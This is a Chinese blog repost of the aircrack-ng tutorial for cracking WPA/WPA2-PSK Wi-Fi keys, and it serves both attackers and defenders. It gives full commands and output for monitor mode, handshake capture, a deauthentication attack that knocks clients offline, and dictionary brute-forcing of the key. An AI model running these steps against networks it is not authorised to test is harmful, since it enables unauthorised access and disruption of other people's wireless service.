您的位置:首页 > 大数据 > 人工智能

Aicrack-ng破解WPA/WPA2

2015-08-18 00:06 399 查看

简介

这篇文章介绍一下如何使用aircrack-ng破解采用预共享密钥(PSK)认证的WPA/WPA2网络。推荐读者先阅读一些关于WPA/WPA2的背景知识。可参见这里。或者这篇文章。点击此处可下载pdf文档。另外,这篇WPA包的捕捉将作为本档的补充文档。

WPA/WPA2支持多种类型的认证机制,包括预共享密钥。而aircrack-ng则只能破解WPA-PSK。所以在破解之前,应该使用airodump-ng命令确定网络的认证类型。如果是PSK类型的,再行破解。

破解WPA/WPA2和WEP也有很大的不同,不像在WEP中,有统计方法可以加速破解过程,在破解WPA/WPA2时,只有最平常的暴力破解。这是因为在WPA/WPA2中,密钥不是静态的,所以收集IVs并不会加速对密钥的破解过程。唯一对破解有帮助的事情是,当用户和接入点之间进行认证时所发送的数据包。当用户试图连接到接入点时,需要与之进行握手。又因为PSK的密钥可以是8至63字符的任意长度,就使得破解变得更加困难。

我们可以进行破解的WPA/WPA2网络,密钥大多是某个单词,或者非常短的字符数字组合。相反,如果我们想要防止自己的网络被破解,那么采用WPA/WPA2加密,且将密钥设置到63个字符(掺杂一些特殊符号),基本就可以了。

采用暴力破解方式的后果就是付出的时间代价非常大。因为破解过程涉及到大量的计算和比对,通常来讲笔记本每秒只能尝试大约50到300个密钥。很显然,这和电脑的计算能力有关。于是破解一次,就需要比对一个密钥词典几个小时,甚至几天。如果想尝试通过字符的排列和组合来构建密钥,可以先看一下这篇文章来了解需要多长时间。

注:

我们用来破解WPA/WPA2的密钥词典必须含有该网络的密钥,否则aircrack-ng是无法破解的

破解WPA和WPA2从理论上来说是没有什么区别的,因为两者的认证机制是相同的

建议读者使用自己家的路由器来进行实验,这样可以更容易地熟悉这些命令

前提

我们所用的网卡及驱动支持注入,可参见注入测试

距离接入点足够地近,以便我们能够发送和接收数据包。再一次强调,能接收到数据包不表示就一定能将数据包传到接入点(接入点的传送距离一般要比我们的网卡远)。可以通过下面的步骤来判断我们的网卡是否能和接入点进行通信。

保证自己使用的是aircrack-ng的较新版本(>0.9.1),如果没有,那么有些命令可能会有所不同。

确保自己满足以上所有的前提,然后再进行下面的操作。在下面的例子中,我们需要将”ath0”改为自己网卡的接口。

需要用的信息

在下面的例子中,所使用的各种信息罗列如下:

网卡的MAC地址:00:0F:B5:88:AC:82

接入点用户的MAC地址:00:0F:B5:FD:FB:C2

接入点的MAC地址(BSSID):00:14:6C:7E:40:80

网络名称(ESSID):teddy

接入点信道:9

无线接口:ath0

在我们自己尝试的时候,需要同样收集到相应的信息。然后在命令中做相应的替换。

破解步骤

概述

我们最主要的目标是WPA/WPA2认证握手包,收集到以后就可以使用aircrack-ng来破解了。获取认证包的方式有主动和被动两种方式。主动的意思是可以通过一定方式,加快我们获取认证包的过程;被动就是一直等待认证包的出现。被动也有一定的好处,就是我们不用注入功能就可以完成,因此Windows版本的aircrack-ng也可以进行。下面是一些基本的步骤:

将网卡在特定的信道设置为monitor模式

在该信道上使用airodump-ng获取特定BSSID的握手包

使用aireplay-ng来解除用户认证,加速握手包的收集

利用所得的握手包,通过aircrack-ng来破解出秘钥

步骤一:开启monitor模式

这一步的目的是将网卡置于monitor模式,monitor模式使得我们的网卡可以监听到所在范围内的所有数据包。正常情况下,我们的网卡只接受那些发送给我们的数据包。所以只有通过monitor模式,我们才有可能收集到接入点的握手包。而且,它也是我们进行解除认证攻击的前提(加速方法)。将网卡设定到monitor模式的具体方法,因我们所使用的驱动不同而不同。通过下面的命令,我们首先可以来查看驱动信息:

airmon-ng


对于Ralink,Atheros和Broadcom网卡,屏幕会出现:

Interface       Chipset         Driver

rausb0          Ralink RT73     rt73
wlan0           Broadcom        b43 - [phy0]
wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0)


b43驱动后的【phy0】标签表示该驱动是mac80211驱动,注意mac80211驱动只支持>v1.0-rc1版本的aircrack-ng

两个Atheros网卡的驱动均是madwifi-ng,下面给出了将其设定为monitor模式的方法

Ralink网卡不是mac80211,又不是madwifi-ng驱动的,所以它使用的是ieee80211驱动,参见常用方法将其设定为monitor模式

步骤一:1. 设定madwifi-ng驱动的网卡

首先,停掉ath0,输入命令:

airmon-ng stop ath0


屏幕会出现:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)


然后输入iwconfig查看是否还有其他athX的接口,应该会出现类似下面的内容:

lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.


如果显示还有其他的athX接口的话,我们需要将它们都停掉(airmon-ng stop athX)。然后,再一次用iwconfig命令确认自己已经停掉所有的athX接口。最后,我们将网卡设定到信道9上的monitor模式:

airmon-ng start wifi0 9


注:在这个命令中,我们使用了wifi0而不是ath0接口,这是因为我们使用的是madwifi-ng驱动。

屏幕会显示:

Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)


注意到,此时ath0已经被设定成了monitor模式。同样,可以使用iwconfig命令来验证,屏幕会显示:

lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
Retry:off   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0


从上面的信息中,我们可以看到ath0确实已经处在monitor模式了。它的工作频率为2.452GHz,信道为9,接入点项(Access Point)表示的是我们网卡的MAC地址(前面已经说过,只有在madwifi-ng驱动下才会有这一项)。建议在进行下面的操作之前,都像这样检查一下,看看是否有异常。

步骤一:2. 设定mac80211驱动的网卡

不像madwifi-ng那样,使用mac80211驱动时,我们不需要移除wlan0接口了。直接可使用下面的命令:

airmon-ng start wlan0 9


屏幕显示:

Interface       Chipset         Driver

wlan0           Broadcom        b43 - [phy0]
(monitor mode enabled on mon0)


可以看到,airmon-ng为我们创建了一个monitor模式的mon0接口。所以,在后续的命令中,我们都要使用这个接口来进行各种操作。此时,wlan0仍然在managed模式,并且能够正常使用。只要wlan0所连接入点的信道和目标接入点的信道相同,且我们没有进行信道跳跃的操作。

同样,为了验证,输入iwconfig命令:

lo        no wireless extensions.
eth0      no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:""
Mode:Managed  Frequency:2.452 GHz  Access Point: Not-Associated
Tx-Power=0 dBm
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0  Signal level:0  Noise level:0
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.452 GHz  Tx-Power=0 dBm
Retry min limit:7   RTS thr:off   Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0  Signal level:0  Noise level:0
Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
Tx excessive retries:0  Invalid misc:0   Missed beacon:0


这里,可以看到mon0已经被设定为monitor模式了。它的工作频率为2。2.452GHz。因为不是madwifi-ng驱动,所以也没有Accesss Point这一项。同样可以看到,wlan0仍然存在,处在managed模式上。这时,因为两个接口的频率是一样的,所以它们的信道也必须相同,改变其中一个信道会导致另一个的信道也改变。

步骤一:3. 设定其他驱动的网卡

对于其他驱动(基于ieee80211)的网卡,只需输入下面的命令即可(将rausb0替换为我们自己的接口名):

airmon-ng start rausb0 9


屏幕会显示:

Interface       Chipset         Driver

rausb0          Ralink          rt73 (monitor mode enabled)


这时,接口就应该可以使用了。

步骤二:使用airodump-ng收集认证握手包

这一步的目的是捕捉接入点的握手包,输入命令:

airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0


其中:

-c 9 表示网络所在的信道

–bssid 00:14:6C:7E:40:80 表示接入点的MAC地址

-w psk 表示我们用来存放IVs文件名前缀

ath0 表示接口名

注意:不要使用–ivs参数,因为我们需要收集完整的包。当一个用户连接到接入点被捕获到认证包时,会显示下面的内容:

CH  9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   39 100       51      116   14   9  54  WPA2 CCMP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116


上面的信息中,我们应该注意到右上角的”WPA handshake: 00:14:6C:7E:40:80”,这表明airodump-ng已经成功捕获了一个认证包。下面显示的是没有用户连接时的信息:

CH  9 ][ Elapsed: 4 s ][ 2007-03-24 17:51

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   39 100       51        0    0   9  54  WPA2 CCMP   PSK  teddy

BSSID              STATION            PWR  Lost  Packets  Probes


常见问题及解决方法

可以参见文章末尾总结的常见问题。

如果想知道我们是否已经捕捉到了握手包,有两种方式。第一种,如上所述,通过观察显示内容右上角的信息。第二种,使用Wireshark,通过eapol过滤,这样就可以得到。

步骤三:使用aireplay-ng对用户进行解除认证攻击

这一步是可选的,如上所述,是为了加快捕捉握手包的过程。如果足够耐心的话,我们可以一直等到某个用户连接网络时捕捉握手包。很显然,采用这样的方式需要已经有用户连接上了接入点,我们通过断开它的连接,迫使其重新认证,如此捕捉认证包。

我们需要一个已经连接到该网络的用户的MAC地址,输入命令:

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0


其中:

-0表示解除认证攻击

1表示发送出的解除认证包(数量可选)

-a 00:14:6C:7E:40:80接入点的MAC地址

-c 00:0F:B5:FD:FB:C2与接入点连接用户的MAC地址

ath0 表示接口名称

屏幕会显示:

11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]


注意:因为需要我们的PC直接发送数据包给接入点接收,所以还是要保证我们与接入点的距离足够的近。我们也可以使用tcpdump命令,来尝试获取用户的ACK包,以此验证用户是否已经收到解除包的干扰。

步骤四:使用aircrack-ng破解秘钥

这一步的目的当然就是通过所得的认证包破解秘钥。要完成这一步,我们必须要有一个秘钥词典。然后,aircrack-ng通过尝试词典中的每一个词,来试图破解秘钥。

在aircrack-ng源码中的test文件夹中,有一个小的词典”password.lst”。Wiki FAQ里有拓展的词典。我们也可也通过使用John the Ripper来生成自己词典,然后通过aircrack

-ng使用它。打开另外一个终端,输入命令:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap


其中:

-w password.lst表示词典文件,如果文件不在运行路径中,则需要完整路径

*.cap是我们刚刚捕捉的含有认证包的文件,使用了通配符来包含所有文件

当没有握手包时,会这样输出:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

No valid WPA handshakes found.


这时,我们必须返回步骤三,重新获取握手包。

当找到握手包时,会这样输出:

Opening psk-01.cap
Opening psk-02.cap
Opening psk-03.cap
Opening psk-04.cap
Read 1827 packets.

#  BSSID              ESSID                     Encryption

1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)

Choosing first network as target.


这时,aircrack-ng已经开始尝试破解秘钥了。这个过程所花费的时间因密码难度,PC计算能力而异。成功时,会这样输出:

Aircrack-ng 0.8

[00:00:00] 2 keys tested (37.20 k/s)

KEY FOUND! [ 12345678 ]

Master Key     : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD

Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71

EAPOL HMAC     : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB


常见问题及解决方法

捕捉不到握手包

握手包的捕捉是一个很艰难也很有意思的过程,需要我们自己不断尝试。出现问题时,一般可以从如下方面进行检查:

我们网卡的传输标准要和接入点以及客户端相同。举例来说,如果我们网卡的是b,而接入点和客户端的是g,那么我们就不能捕捉到握手包。特别是对于一些比较新的接入点,因为它们可能使用了turbo或者其他新的标准。有些驱动支持我们指定标准,有时候iwconfig命令可能也有用,它有一个modulation参数,可以查询一下使用方法。最后,1,2,5.5,11MBit表示的是b,而6,9,12,18,24,36,48,54表示的是g

有时候会需要将网卡设定到相同的传输速率,IE auto,1MB,2MB,11MB,54MB等

保证自己用来捕捉的网卡被锁定到和接入点相同的信道。可以通过使用airodump-ng命令时加上参数-c< channel of AP >来达到目的

保证系统上没有运行connection manager,它可能在你不知情的情况下改变网卡的模式或者所处信道

保证自己离接入点和用户都比较近

相反,我们也不能离得太近,太近可能会导致包被丢弃

尽可能使用wiki上推荐的驱动,有些驱动不能捕捉所有的数据包

如果可能手动断开和连接来产生握手包

如果使用解除认证方法,尽量使用少一些的数据包来断开用户的连接。正常一个包就可以了。过多的包可能导致用户无法再次连接到接入点,因此就不会再产生握手包。而且,要使用定向的而非广播的包来进行解除认证攻击。如果我们没有得到ACK包,就表明用户并没有接收到攻击包。

试着停止在客户端站的无线电台,然后重新启动它

保证自己没有运行其他可能产生影响的程序,如connection manager,Kismet等等

这篇指导来检查一下捕捉的数据包,看看能不能找到问题。例如,缺失了AP包,缺失了客户端包等等
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: